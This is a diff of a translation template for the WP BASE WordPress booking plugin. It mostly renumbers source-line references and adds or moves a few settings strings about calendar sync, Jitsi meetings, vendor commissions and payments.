@@ -11743,15 +12524,15 @@
 "must verify your domain in Google Admin console to use this feature. %s"
 msgstr ""
 
-#: includes/constant-data.php:466
+#: includes/constant-data.php:477
 msgid "Click for help"
 msgstr ""
 
-#: includes/constant-data.php:467
+#: includes/constant-data.php:478
 msgid "Calendar to be used"
 msgstr ""
 
-#: includes/constant-data.php:467
+#: includes/constant-data.php:478
 msgid ""
 "Select the Google calendar in which your bookings will be saved. Your email "
 "address represents your primary calendar. If you added a calendar after "
@@ -11759,11 +12540,11 @@
 "make it visible here."
 msgstr ""
 
-#: includes/constant-data.php:468
+#: includes/constant-data.php:479
 msgid "Service Name (Internal only)"
 msgstr ""
 
-#: includes/constant-data.php:468
+#: includes/constant-data.php:479
 msgid ""
 "Imported Google Calendar events are saved as WP BASE bookings, so that they "
 "can reserve working hours of the providers. A virtual, uneditable, "
@@ -11771,11 +12552,11 @@
 "change the name of this service."
 msgstr ""
 
-#: includes/constant-data.php:469
+#: includes/constant-data.php:480
 msgid "Statuses to Delete Events"
 msgstr ""
 
-#: includes/constant-data.php:469
+#: includes/constant-data.php:480
 msgid ""
 "Booking statuses for which corresponding event will be deleted from Google "
 "Calendar. If you want to keep even your past events, uncheck all. Note: If "
@@ -11784,11 +12565,11 @@
 "new provider."
 msgstr ""
 
-#: includes/constant-data.php:470
+#: includes/constant-data.php:481
 msgid "Statuses to Create Events"
 msgstr ""
 
-#: includes/constant-data.php:470
+#: includes/constant-data.php:481
 msgid ""
 "Booking statuses for which a corresponding event will be created/updated in "
 "Google Calendar. If none selected, no events will be created. Tip: If you "
@@ -11796,17 +12577,17 @@
 "uncheck all."
 msgstr ""
 
-#: includes/constant-data.php:471
+#: includes/constant-data.php:482
 msgid ""
 "Each booking exported to GCal creates a calendar \"event\". This template "
 "defines name of the event (also known as event summary)."
 msgstr ""
 
-#: includes/constant-data.php:472
+#: includes/constant-data.php:483
 msgid "Use wpautop in Event Descriptions"
 msgstr ""
 
-#: includes/constant-data.php:472
+#: includes/constant-data.php:483
 msgid ""
 "WordPress uses autoP function to format content easily and quickly by "
 "replacing double line breaks with paragraphs. In event descriptions, such a "
@@ -11814,11 +12595,11 @@
 "event descriptions."
 msgstr ""
 
-#: includes/constant-data.php:473
+#: includes/constant-data.php:484
 msgid "Event Description for Providers"
 msgstr ""
 
-#: includes/constant-data.php:473
+#: includes/constant-data.php:484
 #, php-format
 msgid ""
 "Same as \"Event Summary for Providers\" setting. For the above two fields, "
@@ -11826,51 +12607,51 @@
 "GCal, these placeholders will be replaced by their real values."
 msgstr ""
 
-#: includes/constant-data.php:474
+#: includes/constant-data.php:485
 msgid "Event Summary for Providers"
 msgstr ""
 
-#: includes/constant-data.php:474
+#: includes/constant-data.php:485
 msgid ""
 "If you do not allow providers to enter their event summary and description, "
 "values you enter here will be used as their Event summary and description "
 "templates."
 msgstr ""
 
-#: includes/constant-data.php:475
+#: includes/constant-data.php:486
 msgid "Google Maps API key"
 msgstr ""
 
-#: includes/constant-data.php:475
+#: includes/constant-data.php:486
 #, php-format
 msgid "Enter API key. API key can be taken from your %s account"
 msgstr ""
 
-#: includes/constant-data.php:476
+#: includes/constant-data.php:487
 msgid "Map Height (px)"
 msgstr ""
 
-#: includes/constant-data.php:476
+#: includes/constant-data.php:487
 msgid "Map height in pixels"
 msgstr ""
 
-#: includes/constant-data.php:477
+#: includes/constant-data.php:488
 msgid "Map Width (px)"
 msgstr ""
 
-#: includes/constant-data.php:477
+#: includes/constant-data.php:488
 msgid "Map width in pixels"
 msgstr ""
 
-#: includes/constant-data.php:478
+#: includes/constant-data.php:489
 msgid "Higher means closer (1-21)"
 msgstr ""
 
-#: includes/constant-data.php:479 includes/constant-data.php:627
+#: includes/constant-data.php:490 includes/constant-data.php:645
 msgid "Google Client ID"
 msgstr ""
 
-#: includes/constant-data.php:479
+#: includes/constant-data.php:490
 #, php-format
 msgid ""
 "Enter your Google Client ID here (OAuth 2.0 client ID). If you don't have "
@@ -11878,38 +12659,38 @@
 "target=\"_blank\">here</a>"
 msgstr ""
 
-#: includes/constant-data.php:481
+#: includes/constant-data.php:492
 msgid "Hide Busy Status"
 msgstr ""
 
-#: includes/constant-data.php:481
+#: includes/constant-data.php:492
 msgid ""
 "If you select \"Yes\", busy slots will be shown as unavailable instead of "
 "having a separate color."
 msgstr ""
 
-#: includes/constant-data.php:482
+#: includes/constant-data.php:493
 msgid "Effect When Closing Dialogs"
 msgstr ""
 
-#: includes/constant-data.php:482
+#: includes/constant-data.php:493
 #, php-format
 msgid "jQuery UI %s when closing a jQuery UI dialog."
 msgstr ""
 
-#: includes/constant-data.php:482 includes/constant-data.php:614
+#: includes/constant-data.php:493 includes/constant-data.php:632
 msgid "effect"
 msgstr ""
 
-#: includes/constant-data.php:484
+#: includes/constant-data.php:495
 msgid "Booking #APP_ID on DATE_TIME for SERVICE"
 msgstr ""
 
-#: includes/constant-data.php:484
+#: includes/constant-data.php:495
 msgid "Item Description"
 msgstr ""
 
-#: includes/constant-data.php:484
+#: includes/constant-data.php:495
 #, php-format
 msgid ""
 "Description of item shown in your account. <abbr title=\"%s\">Email "
@@ -11917,153 +12698,148 @@
 "DATE_TIME</code>"
 msgstr ""
 
-#: includes/constant-data.php:485
+#: includes/constant-data.php:496
 msgid "Payment for SERVICE"
 msgstr ""
 
-#: includes/constant-data.php:485
+#: includes/constant-data.php:496
 msgid "Item Name"
 msgstr ""
 
-#: includes/constant-data.php:485
+#: includes/constant-data.php:496
 #, php-format
 msgid ""
 "Name of item shown in your account. <abbr title=\"%s\">Email placeholders</"
 "abbr> can be used. For example, <code>Payment for SERVICE</code>"
 msgstr ""
 
-#: includes/constant-data.php:486
+#: includes/constant-data.php:497
 msgid "JaaS Api  ID"
 msgstr ""
 
-#: includes/constant-data.php:486 includes/constant-data.php:487
+#: includes/constant-data.php:497 includes/constant-data.php:498
 #, php-format
 msgid "Only required for JaaS. Get this value from your %s."
 msgstr ""
 
-#: includes/constant-data.php:486 includes/constant-data.php:487
-#: includes/constant-data.php:488 includes/constant-data.php:489
+#: includes/constant-data.php:497 includes/constant-data.php:498
+#: includes/constant-data.php:499 includes/constant-data.php:500
 msgid "JaaS account"
 msgstr ""
 
-#: includes/constant-data.php:487
+#: includes/constant-data.php:498
 msgid "JaaS Api Key"
 msgstr ""
 
-#: includes/constant-data.php:488
+#: includes/constant-data.php:499
 msgid "JaaS Public Key"
 msgstr ""
 
-#: includes/constant-data.php:488 includes/constant-data.php:489
+#: includes/constant-data.php:499 includes/constant-data.php:500
 #, php-format
 msgid ""
 "Only required for JaaS. Get this value from your %s. Copy the contents of "
 "the file and paste here"
 msgstr ""
 
-#: includes/constant-data.php:489
+#: includes/constant-data.php:500
 msgid "JaaS Private Key"
 msgstr ""
 
-#: includes/constant-data.php:490
+#: includes/constant-data.php:501
 msgid "Enable Jitsi"
 msgstr ""
 
-#: includes/constant-data.php:490
+#: includes/constant-data.php:501
 msgid "Enables integration with Jitsi Online Meetings."
 msgstr ""
 
-#: includes/constant-data.php:491
+#: includes/constant-data.php:502
 msgid "Jitsi Domain"
 msgstr ""
 
-#: includes/constant-data.php:491
+#: includes/constant-data.php:502
 msgid "Domain of Jitsi server. This is only required for custom service type."
 msgstr ""
 
-#: includes/constant-data.php:492
+#: includes/constant-data.php:503
 msgid "Jitsi Privileged Users"
 msgstr ""
 
-#: includes/constant-data.php:492
+#: includes/constant-data.php:503
 msgid "Users having these WordPress roles can live stream and record videos."
 msgstr ""
 
-#: includes/constant-data.php:493
+#: includes/constant-data.php:504
 msgid "Jitsi Service Type"
 msgstr ""
 
-#: includes/constant-data.php:493
+#: includes/constant-data.php:504
 msgid ""
 "Jitsi Meet is the open source meeting service, but limited to 5 minutes for "
 "demo purposes. JaaS is a commercial service with Jitsi as a Service "
 "(formerly \"8X8\"). \"Custom\" is for installing Jitsi on your own server."
 msgstr ""
 
-#: includes/constant-data.php:494
+#: includes/constant-data.php:505
 msgid "Jitsi Subject"
 msgstr ""
 
-#: includes/constant-data.php:495
+#: includes/constant-data.php:506
 msgid "Late Booking Permission Time (mins)"
 msgstr ""
 
-#: includes/constant-data.php:495
+#: includes/constant-data.php:506
 msgid ""
 "If late booking is allowed, defines number of minutes that booking can still "
 "be made counting from start of the time slot. Leaving empty means booking is "
 "accepted until the last minute before time slot ends."
 msgstr ""
 
-#: includes/constant-data.php:496
+#: includes/constant-data.php:507
 msgid "Post Type for Location Connected Posts"
 msgstr ""
 
-#: includes/constant-data.php:496
+#: includes/constant-data.php:507
 msgid ""
 "Post type that will be used to relate location to a post. Default: \"page\""
 msgstr ""
 
-#: includes/constant-data.php:497
+#: includes/constant-data.php:508
 msgid "Separate Working Hour Schedule for every Location"
 msgstr ""
 
-#: includes/constant-data.php:497
+#: includes/constant-data.php:508
 msgid ""
 "Not to be used in Multi Store Marketplace. If you set this setting as Yes, "
 "every service and provider can have separate working hour schedule for each "
 "location."
 msgstr ""
 
-#: includes/constant-data.php:498
+#: includes/constant-data.php:509
 msgid "Login Required"
 msgstr ""
 
-#: includes/constant-data.php:498
+#: includes/constant-data.php:509
 msgid "Whether you require the client to login the website to make a booking."
 msgstr ""
 
-#: includes/constant-data.php:499
+#: includes/constant-data.php:510
 msgid "Log Sent email Records"
 msgstr ""
 
-#: includes/constant-data.php:499
+#: includes/constant-data.php:510
 #, php-format
 msgid ""
 "Whether to log confirmation and reminder email records in the %s (Not the "
 "content of the emails)."
 msgstr ""
 
-#: includes/constant-data.php:499 includes/constant-data.php:500
-#: includes/constant-data.php:501 includes/constant-data.php:572
-msgid "log file"
-msgstr ""
-
-#: includes/constant-data.php:500
+#: includes/constant-data.php:511
 msgid "Log Setting Changes"
 msgstr ""
 
-#: includes/constant-data.php:500
+#: includes/constant-data.php:511
 #, php-format
 msgid ""
 "Whether any change in global settings will be recorded in the %s. If "
@@ -12071,54 +12847,54 @@
 "values are also saved."
 msgstr ""
 
-#: includes/constant-data.php:501
+#: includes/constant-data.php:512
 msgid "Log Sent SMS Records"
 msgstr ""
 
-#: includes/constant-data.php:501
+#: includes/constant-data.php:512
 #, php-format
 msgid ""
 "Whether to log confirmation and reminder SMS records in the %s (Not the "
 "content of the messages)."
 msgstr ""
 
-#: includes/constant-data.php:502
+#: includes/constant-data.php:513
 msgid "Location/Service/Provider Hierarchy"
 msgstr ""
 
-#: includes/constant-data.php:502
+#: includes/constant-data.php:513
 msgid ""
 "Determines the hierarchy among Location, Service and Provider when Locations "
 "and/or Service Providers are active. Less priority variables will follow "
 "higher ones."
 msgstr ""
 
-#: includes/constant-data.php:503
+#: includes/constant-data.php:514
 msgid "Privileged User Roles"
 msgstr ""
 
-#: includes/constant-data.php:503
+#: includes/constant-data.php:514
 msgid ""
 "Selected role(s) will not be asked advance payment, depending on the above "
 "selection."
 msgstr ""
 
-#: includes/constant-data.php:504
+#: includes/constant-data.php:515
 msgid "Discount for Privileged User Roles (%)"
 msgstr ""
 
-#: includes/constant-data.php:504
+#: includes/constant-data.php:515
 msgid ""
 "Selected role(s) will get a discount given in percent, e.g. 20. Leave this "
 "field empty for no discount. Tip: If you enter 100, service will be free of "
 "charge for these members."
 msgstr ""
 
-#: includes/constant-data.php:505
+#: includes/constant-data.php:516
 msgid "Don't ask Prepayment from Privileged User Roles"
 msgstr ""
 
-#: includes/constant-data.php:505
+#: includes/constant-data.php:516
 msgid ""
 "Below selected role(s) will not be asked for a down payment. This does not "
 "necessarily mean that service will be free of charge for them. Such member "
@@ -12128,39 +12904,39 @@
 "Pricing addon."
 msgstr ""
 
-#: includes/constant-data.php:506
+#: includes/constant-data.php:517
 msgid ""
 "Time selection precision for all settings. For example, if you have a 15 "
 "minute service or if you work from 9:15, select 15. \"Auto\" setting will "
 "try to find the optimum value. Default: 1 hour"
 msgstr ""
 
-#: includes/constant-data.php:507
+#: includes/constant-data.php:518
 msgid "Use Effect for Select Element"
 msgstr ""
 
-#: includes/constant-data.php:507
+#: includes/constant-data.php:518
 #, php-format
 msgid ""
 "Experimental. Use with caution. For location, service, provider and other "
 "front end HTML select elements, use %s effect"
 msgstr ""
 
-#: includes/constant-data.php:507
+#: includes/constant-data.php:518
 msgid "blind"
 msgstr ""
 
-#: includes/constant-data.php:508
+#: includes/constant-data.php:519
 msgid ""
 "Select post types Multi Language will be used for. Setting metabox will be "
 "added to post edit pages of the selected post types."
 msgstr ""
 
-#: includes/constant-data.php:509
+#: includes/constant-data.php:520
 msgid "Multitasking Business Rep."
 msgstr ""
 
-#: includes/constant-data.php:509
+#: includes/constant-data.php:520
 msgid ""
 "Only effective when no providers are defined. By default (Setting \"No\") "
 "business representative can serve only one service at a time. If you select "
@@ -12169,22 +12945,22 @@
 "itself."
 msgstr ""
 
-#: includes/constant-data.php:510
+#: includes/constant-data.php:521
 msgid "Affiliate Plugin Integration"
 msgstr ""
 
-#: includes/constant-data.php:510
+#: includes/constant-data.php:521
 msgid ""
 "When user becomes vendor, they also become affiliate of the selected "
 "marketing program and receive commissions over other vendors' bookings "
 "according to the rules of the affiliate program."
 msgstr ""
 
-#: includes/constant-data.php:511
+#: includes/constant-data.php:522
 msgid "Allow Vendors Without Services"
 msgstr ""
 
-#: includes/constant-data.php:511
+#: includes/constant-data.php:522
 msgid ""
 "By default (setting \"No\"), vendors must have at least one service. "
 "Therefore even if they did not select any service, the first service is "
@@ -12192,11 +12968,11 @@
 "any assigned service during registration and editing their accounts."
 msgstr ""
 
-#: includes/constant-data.php:512
+#: includes/constant-data.php:523
 msgid "Vendor can Set Own Price"
 msgstr ""
 
-#: includes/constant-data.php:512
+#: includes/constant-data.php:523
 msgid ""
 "If selected as \"No\" (default), booking price is determined by service + "
 "provider prices entered by admin. If \"Yes, fixed per booking\" is selected, "
@@ -12207,11 +12983,11 @@
 "provider price for each service on their profile settings."
 msgstr ""
 
-#: includes/constant-data.php:515
+#: includes/constant-data.php:526
 msgid "Auto Approve Vendor"
 msgstr ""
 
-#: includes/constant-data.php:515
+#: includes/constant-data.php:526
 msgid ""
 "If selected as \"No\" admin needs to approve vendor submissions manually. If "
 "selected as \"Yes\" approval is automatic. If selected as \"Auto\" and bio "
@@ -12219,21 +12995,21 @@
 "should be approved manually."
 msgstr ""
 
-#: includes/constant-data.php:516
+#: includes/constant-data.php:527
 msgid "Add Become a Vendor Button"
 msgstr ""
 
-#: includes/constant-data.php:516
+#: includes/constant-data.php:527
 msgid ""
 "Whether to add a button on Profile Page of logged in user by which they can "
 "apply to become a vendor."
 msgstr ""
 
-#: includes/constant-data.php:517
+#: includes/constant-data.php:528
 msgid "Use Better Messages on"
 msgstr ""
 
-#: includes/constant-data.php:517
+#: includes/constant-data.php:528
 #, php-format
 msgid ""
 "Private Messaging of %s can be used on 1) bio, service description, waiting "
@@ -12243,26 +13019,26 @@
 "in Better Messages settings."
 msgstr ""
 
-#: includes/constant-data.php:517
+#: includes/constant-data.php:528
 msgid "Better Messages plugin"
 msgstr ""
 
-#: includes/constant-data.php:518
+#: includes/constant-data.php:529
 msgid "Allow Vendor Edit Own Bio Page"
 msgstr ""
 
-#: includes/constant-data.php:518
+#: includes/constant-data.php:529
 msgid ""
 "Whether vendor can edit bio page. If selected as \"No\", bio page will use "
 "Default Page Title and Content settings. If selected as \"Yes\" vendor can "
 "edit Title and Content in their account page."
 msgstr ""
 
-#: includes/constant-data.php:519 includes/constant-data.php:544
+#: includes/constant-data.php:530 includes/constant-data.php:558
 msgid "Default Page Content"
 msgstr ""
 
-#: includes/constant-data.php:519
+#: includes/constant-data.php:530
 msgid ""
 "Content of the bio page, typically including <code>[app_book]</code> "
 "shortcode in order to let clients book their services. Only vendor and their "
@@ -12271,194 +13047,222 @@
 "account page."
 msgstr ""
 
-#: includes/constant-data.php:520 includes/constant-data.php:545
+#: includes/constant-data.php:531 includes/constant-data.php:559
 msgid "Default Page Title"
 msgstr ""
 
-#: includes/constant-data.php:520
+#: includes/constant-data.php:531
 msgid ""
 "Title of the bio page. If vendors are allowed to edit their bio page, they "
 "can overwrite this value by the setting in their account page. Placeholder "
 "VENDOR_NAME will be replaced by the display name of the vendor. "
 msgstr ""
 
-#: includes/constant-data.php:521
+#: includes/constant-data.php:532
 msgid "Post Type of the Page"
 msgstr ""
 
-#: includes/constant-data.php:521
+#: includes/constant-data.php:532
 msgid ""
 "Bio page post type. Multiple selection is allowed. Clear all if you do not "
 "want to relate bio page to any CPT, e.g. a Multi Store Marketplace or a pure "
 "provider free website."
 msgstr ""
 
-#: includes/constant-data.php:522
+#: includes/constant-data.php:533
 msgid "Auto Approval Time (days)"
 msgstr ""
 
-#: includes/constant-data.php:522
+#: includes/constant-data.php:533
 msgid ""
 "After this time, even if client did not approve, completed bookings will be "
 "automatically approved. Leaving empty means 3 days."
 msgstr ""
 
-#: includes/constant-data.php:523
+#: includes/constant-data.php:534
 msgid "Commission to Apply upon Multiple Role Match"
 msgstr ""
 
-#: includes/constant-data.php:523
+#: includes/constant-data.php:534
 msgid ""
 "If vendor has several matching roles, commission rate to be applied can be "
 "selected among minimum or maximum of the commissions of matching roles."
 msgstr ""
 
-#: includes/constant-data.php:524
+#: includes/constant-data.php:535
 msgid "Number of Commission Rates"
 msgstr ""
 
-#: includes/constant-data.php:524
+#: includes/constant-data.php:535
 msgid ""
 "You can define commission percentage based on WordPress user role of the "
 "vendor, e.g. to give better commission to certain membership levels. If you "
 "will use them, select number of commission rates."
 msgstr ""
 
-#: includes/constant-data.php:525
+#: includes/constant-data.php:536
+msgid "Commission Payment Method"
+msgstr ""
+
+#: includes/constant-data.php:536
+msgid ""
+"Commissions can be paid to vendors automatically when booking is completed "
+"or booking is approved by the client or manually at any desired time. Note: "
+"When automatic payment is selected, you can also pay manually on Commissions "
+"page."
+msgstr ""
+
+#: includes/constant-data.php:537
 msgid "Commission Rate (%)"
 msgstr ""
 
-#: includes/constant-data.php:525
+#: includes/constant-data.php:537
 msgid "Percentage of the booking revenue that will be received by the vendor."
 msgstr ""
 
-#: includes/constant-data.php:526
+#: includes/constant-data.php:538
+msgid "Enable Approved Status"
+msgstr ""
+
+#: includes/constant-data.php:538
+msgid "Whether to use Approved status."
+msgstr ""
+
+#: includes/constant-data.php:539
+msgid "Enable Stripe Connect"
+msgstr ""
+
+#: includes/constant-data.php:539
+msgid "Whether to use Stripe Connect to pay commissions to vendors."
+msgstr ""
+
+#: includes/constant-data.php:540
 msgid "Fees Covered By"
 msgstr ""
 
-#: includes/constant-data.php:526
+#: includes/constant-data.php:540
 msgid ""
 "Who will cover the transaction fees. If covered by vendor, fees are deducted "
 "from client payment and vendor's earning will be lower."
 msgstr ""
 
-#: includes/constant-data.php:527
+#: includes/constant-data.php:541
 msgid "Give Commission for Own Sales"
 msgstr ""
 
-#: includes/constant-data.php:527
+#: includes/constant-data.php:541
 msgid "Whether to give commission if client is the vendor themselves."
 msgstr ""
 
-#: includes/constant-data.php:528
+#: includes/constant-data.php:542
 msgid "Hide Non-Vendor Booking Calendars"
 msgstr ""
 
-#: includes/constant-data.php:528
+#: includes/constant-data.php:542
 msgid ""
 "Whether to hide booking calendars on pages of non-vendors. Setting this to "
 "\"Yes\" will mean: For the above bio page CPTs, booking is only allowed on "
 "approved vendor bio pages."
 msgstr ""
 
-#: includes/constant-data.php:529
+#: includes/constant-data.php:543
 msgid "Services Provided Description"
 msgstr ""
 
-#: includes/constant-data.php:529
+#: includes/constant-data.php:543
 msgid ""
 "Description of Services Provided field that will be displayed on Add Listing "
 "form."
 msgstr ""
 
-#: includes/constant-data.php:530
+#: includes/constant-data.php:544
 msgid "Listing Integration"
 msgstr ""
 
-#: includes/constant-data.php:530
+#: includes/constant-data.php:544
 msgid ""
 "Select the listing/directory theme or plugin that you want to integrate from "
 "the list."
 msgstr ""
 
-#: includes/constant-data.php:531
+#: includes/constant-data.php:545
 msgid "Terms (Category) of the Page"
 msgstr ""
 
-#: includes/constant-data.php:531
+#: includes/constant-data.php:545
 msgid ""
 "Enter slug or ID of the term/category that vendor pages will belong to. "
 "Multiple categories separated with comma is possible."
 msgstr ""
 
-#: includes/constant-data.php:532
+#: includes/constant-data.php:546
 msgid "Geodirectory Category"
 msgstr ""
 
-#: includes/constant-data.php:532
+#: includes/constant-data.php:546
 msgid ""
 "Select category of the GeoDirectory listing post when listing is added "
 "manually."
 msgstr ""
 
-#: includes/constant-data.php:533
+#: includes/constant-data.php:547
 msgid "GD Pricing Manager Packages"
 msgstr ""
 
-#: includes/constant-data.php:533
+#: includes/constant-data.php:547
 msgid ""
 "Geodirectory Pricing Manager Package IDs that will create vendors. Enter "
 "multiple package IDs separated with comma. Clear to create vendors for all "
 "packages."
 msgstr ""
 
-#: includes/constant-data.php:534
+#: includes/constant-data.php:548
 msgid "Listeo Category"
 msgstr ""
 
-#: includes/constant-data.php:534
+#: includes/constant-data.php:548
 msgid ""
 "Select category of the Listeo listing post when listing is added manually."
 msgstr ""
 
-#: includes/constant-data.php:535
+#: includes/constant-data.php:549
 msgid "Create Post for Pending Vendors"
 msgstr ""
 
-#: includes/constant-data.php:535
+#: includes/constant-data.php:549
 msgid ""
 "If selected \"Yes\", pending submissions will create new listing post. "
 "Otherwise, post will be automatically created only when admin approves "
 "application."
 msgstr ""
 
-#: includes/constant-data.php:536
+#: includes/constant-data.php:550
 #, php-format
 msgid "Minimum Price (%s)"
 msgstr ""
 
-#: includes/constant-data.php:536
+#: includes/constant-data.php:550
 msgid ""
 "If vendor can set own price, minimum amount they can enter. Leave empty for "
 "no limitation."
 msgstr ""
 
-#: includes/constant-data.php:537
+#: includes/constant-data.php:551
 #, php-format
 msgid "Maximum Price (%s)"
 msgstr ""
 
-#: includes/constant-data.php:537
+#: includes/constant-data.php:551
 msgid ""
 "If vendor can set own price, maximum amount they can enter. Leave empty for "
 "no limitation."
 msgstr ""
 
-#: includes/constant-data.php:538
+#: includes/constant-data.php:552
 msgid "Membership Plugin Integration"
 msgstr ""
 
-#: includes/constant-data.php:538
+#: includes/constant-data.php:552
 msgid ""
 "Select the membership plugin you want to integrate from the list. Vendors "
 "assigned by a membership plugin gets status of approved or pending depending "
@@ -12466,11 +13270,11 @@
 "Provided setting in the Registration setting box."
 msgstr ""
 
-#: includes/constant-data.php:539
+#: includes/constant-data.php:553
 msgid "Multi Store"
 msgstr ""
 
-#: includes/constant-data.php:539
+#: includes/constant-data.php:553
 msgid ""
 "In Multi Store Marketplace a location is allocated to each vendor as "
 "<b>store</b> and vendor is assigned as <b>store manager</b>. In their "
@@ -12479,21 +13283,21 @@
 "code> shortcode."
 msgstr ""
 
-#: includes/constant-data.php:540
+#: includes/constant-data.php:554
 msgid "Remove Availability Filter"
 msgstr ""
 
-#: includes/constant-data.php:540
+#: includes/constant-data.php:554
 msgid ""
 "Availability filter which is connected to the search function of the listing "
 "can be removed."
 msgstr ""
 
-#: includes/constant-data.php:541
+#: includes/constant-data.php:555
 msgid "Remove Provider When Vendor Removed"
 msgstr ""
 
-#: includes/constant-data.php:541
+#: includes/constant-data.php:555
 msgid ""
 "All vendors are service providers. However not all providers are necessarily "
 "vendors. This setting determines whether user will also be unassigned being "
@@ -12502,70 +13306,62 @@
 "removed if they have no past or future bookings."
 msgstr ""
 
-#: includes/constant-data.php:542
+#: includes/constant-data.php:556
 msgid "Secondary Commission Usage Condition"
 msgstr ""
 
-#: includes/constant-data.php:542
+#: includes/constant-data.php:556
 msgid ""
 "Condition that makes secondary commission rate to be used instead of the "
 "main rate."
 msgstr ""
 
-#: includes/constant-data.php:543
+#: includes/constant-data.php:557
 msgid "Secondary Commission Rate (%)"
 msgstr ""
 
-#: includes/constant-data.php:543
+#: includes/constant-data.php:557
 msgid "Rate that will be used when usage condition is met."
 msgstr ""
 
-#: includes/constant-data.php:544
+#: includes/constant-data.php:558
 msgid ""
 "Content of the store page, typically including <code>[app_book]</code> "
 "shortcode in order to let clients book their services. Only services of this "
 "store are selectable from this shortcode."
 msgstr ""
 
-#: includes/constant-data.php:545
+#: includes/constant-data.php:559
 msgid ""
 "Title of the store page. Placeholders COMPANY_NAME and VENDOR_NAME will be "
 "replaced by vendor data."
 msgstr ""
 
-#: includes/constant-data.php:546
+#: includes/constant-data.php:560
 msgid "Post Type for Store Pages"
 msgstr ""
 
-#: includes/constant-data.php:546
+#: includes/constant-data.php:560
 msgid ""
 "Post type that will be used for stores. A CPT is recommended, e.g. Place"
 msgstr ""
 
-#: includes/constant-data.php:547
-msgid "Enable Approved Status"
-msgstr ""
-
-#: includes/constant-data.php:547
-msgid "Whether to use Approved status."
-msgstr ""
-
-#: includes/constant-data.php:548
+#: includes/constant-data.php:561
 msgid "Account Page (only for UM)"
 msgstr ""
 
-#: includes/constant-data.php:548
+#: includes/constant-data.php:561
 msgid ""
 "UM Account Page may have a Bookings item to redirect to WP BASE Account "
 "page. The page which includes <code>[app_account]</code> should be selected "
 "here."
 msgstr ""
 
-#: includes/constant-data.php:549
+#: includes/constant-data.php:562
 msgid "Use WooCommerce Cart for Payment"
 msgstr ""
 
-#: includes/constant-data.php:549
+#: includes/constant-data.php:562
 #, php-format
 msgid ""
 "When you enable WooCommerce cart, payments will be handled with WooCommerce "
@@ -12574,26 +13370,26 @@
 "activated. Also see %s."
 msgstr ""
 
-#: includes/constant-data.php:549
+#: includes/constant-data.php:562
 msgid "WooCommerce settings"
 msgstr ""
 
-#: includes/constant-data.php:550
+#: includes/constant-data.php:563
 msgid "User Profile Plugin Integration"
 msgstr ""
 
-#: includes/constant-data.php:550
+#: includes/constant-data.php:563
 msgid ""
 "Select the user profile plugin you want to integrate from the list. With "
 "this integration, vendor can be directly booked from profile page of the "
 "user profile plugin."
 msgstr ""
 
-#: includes/constant-data.php:551
+#: includes/constant-data.php:564
 msgid "Allow Setting Services as Provider Free"
 msgstr ""
 
-#: includes/constant-data.php:551
+#: includes/constant-data.php:564
 msgid ""
 "Provider Free services are independent from service provider availability, "
 "e.g. events, room bookings, rentals. If you set this setting as \"Yes\", "
@@ -12602,19 +13398,19 @@
 "taking part."
 msgstr ""
 
-#: includes/constant-data.php:552
+#: includes/constant-data.php:565
 msgid "Default Value for Provider Free Services"
 msgstr ""
 
-#: includes/constant-data.php:552
+#: includes/constant-data.php:565
 msgid "When no selection is made, default dependence value of the service."
 msgstr ""
 
-#: includes/constant-data.php:554
+#: includes/constant-data.php:567
 msgid "Payment Required"
 msgstr ""
 
-#: includes/constant-data.php:554
+#: includes/constant-data.php:567
 #, php-format
 msgid ""
 "If selected as Yes, payment is collected with one of the payment methods in "
@@ -12622,30 +13418,30 @@
 "booking. Also see %s setting."
 msgstr ""
 
-#: includes/constant-data.php:554 includes/functions.internal.php:2307
+#: includes/constant-data.php:567 includes/functions.internal.php:2307
 msgid "Payment Methods"
 msgstr ""
 
-#: includes/constant-data.php:554
+#: includes/constant-data.php:567
 msgid "Auto confirm"
 msgstr ""
 
-#: includes/constant-data.php:556
+#: includes/constant-data.php:569
 msgid "Prepayment (%)"
 msgstr ""
 
-#: includes/constant-data.php:556
+#: includes/constant-data.php:569
 msgid ""
 "You may want to ask a certain percentage of the service price as prepayment "
 "(Also called down payment or advance payment - not to be confused with "
 "security deposit), e.g. 25. Leave this field empty to ask for full price."
 msgstr ""
 
-#: includes/constant-data.php:557
+#: includes/constant-data.php:570
 msgid "Template for Person Types"
 msgstr ""
 
-#: includes/constant-data.php:557
+#: includes/constant-data.php:570
 msgid ""
 "Valid only when Group Bookings addon is activated. Template that will be "
 "used for Group Bookings person types in the confirmation form, dialogs and "
@@ -12655,67 +13451,67 @@
 "which will be using this template as a block. Default: \"LABEL · PRICE: PAX\""
 msgstr ""
 
-#: includes/constant-data.php:558
+#: includes/constant-data.php:571
 msgid "Default Dialing Code"
 msgstr ""
 
-#: includes/constant-data.php:558
+#: includes/constant-data.php:571
 msgid ""
 "This code will be prepended to the phone numbers starting with 0 and without "
 "+ or 00."
 msgstr ""
 
-#: includes/constant-data.php:560
+#: includes/constant-data.php:573
 msgid "Remember Client's Latest Service Selection"
 msgstr ""
 
-#: includes/constant-data.php:560
+#: includes/constant-data.php:573
 msgid ""
 "Whether automatically select last booked service by the client, if possible."
 msgstr ""
 
-#: includes/constant-data.php:561
+#: includes/constant-data.php:574
 msgid "Remember Client's Latest Provider Selection"
 msgstr ""
 
-#: includes/constant-data.php:561
+#: includes/constant-data.php:574
 msgid ""
 "Whether automatically select last booked provider by the client, if possible."
 msgstr ""
 
-#: includes/constant-data.php:562
+#: includes/constant-data.php:575
 msgid "Random Provider"
 msgstr ""
 
-#: includes/constant-data.php:562
+#: includes/constant-data.php:575
 msgid "Whether pick providers randomly"
 msgstr ""
 
-#: includes/constant-data.php:563
+#: includes/constant-data.php:576
 msgid "Number of Booking Records per Page"
 msgstr ""
 
-#: includes/constant-data.php:563
+#: includes/constant-data.php:576
 msgid ""
 "Number of records to be displayed on admin bookings and transactions pages, "
 "i.e. number of bookings and transactions per page. If left empty: 20."
 msgstr ""
 
-#: includes/constant-data.php:564
+#: includes/constant-data.php:577
 msgid "Number of Business Records per Page"
 msgstr ""
 
-#: includes/constant-data.php:564
+#: includes/constant-data.php:577
 msgid ""
 "Number of records to be displayed on business settings page, i.e. number of "
 "locations, services and service providers per page. If left empty: 10."
 msgstr ""
 
-#: includes/constant-data.php:565
+#: includes/constant-data.php:578
 msgid "Return (Thank You) Page"
 msgstr ""
 
-#: includes/constant-data.php:565
+#: includes/constant-data.php:578
 msgid ""
 "ID or url of the post/page that client will be returned after successful "
 "submission or payment of the booking. If left empty, page will be refreshed "
@@ -12726,11 +13522,11 @@
 "they made booking from."
 msgstr ""
 
-#: includes/constant-data.php:567
+#: includes/constant-data.php:580
 msgid "Reminder email Gap between Child Bookings (hours)"
 msgstr ""
 
-#: includes/constant-data.php:567
